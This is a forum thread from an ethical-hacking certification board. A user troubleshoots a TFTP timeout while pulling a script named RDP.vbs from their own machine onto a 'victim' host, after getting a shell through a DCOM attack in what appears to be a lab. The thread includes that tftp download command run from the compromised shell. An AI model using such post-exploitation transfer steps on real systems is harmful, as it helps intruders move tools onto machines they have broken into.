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Ethical Hacking Discussions and Related Certifications => CEH - Certified Ethical Hacker => Topic started by: Thangvt on January 01, 2009, 08:58:36 AM

Title: TFTP Tranfer time out
Post by: Thangvt on January 01, 2009, 08:58:36 AM

Hi all,
I'm testing for DCOM attack. When I get shell and want to upload file to victim. But some error occur as below:

C:\WINDOWS\system32>tftp -i 192.168.16.195 GET RDP.vbs
tftp -i 192.168.16.195 GET RDP.vbs
Timeout occurred

My computer: 192.168.16.195
Victim : 192.168.16.194

I just copied RDP.vbs to C:\ drive and TFTP directory.

Help me investigate this.

Title: Re: TFTP Tranfer time out
Post by: LSOChris on January 01, 2009, 10:07:28 AM

probably because you arent giving it the destination file name

Title: Re: TFTP Tranfer time out
Post by: Thangvt on January 01, 2009, 10:54:49 AM

For this script, how i can do?

RDP.vbs just copied at C:\ in my local. (192.168.16.195)

Victim: 192.168.16.194

Title: Re: TFTP Tranfer time out
Post by: LSOChris on January 03, 2009, 04:11:37 PM

???

you'll have to rephrase the question

Title: Re: TFTP Tranfer time out
Post by: shednik on January 03, 2009, 10:06:29 PM

Quote from: ChrisG on January 03, 2009, 04:11:37 PM

???

you'll have to rephrase the question

+1...I'm not totally following you as well

Are you able to verify the tftp service is running? no firewall on the server/client is blocking the connection?

Title: Re: TFTP Tranfer time out
Post by: jason on January 04, 2009, 10:34:55 AM

Try just making the connection first to see if you get that far:

C:\WINDOWS\system32>tftp 192.168.16.195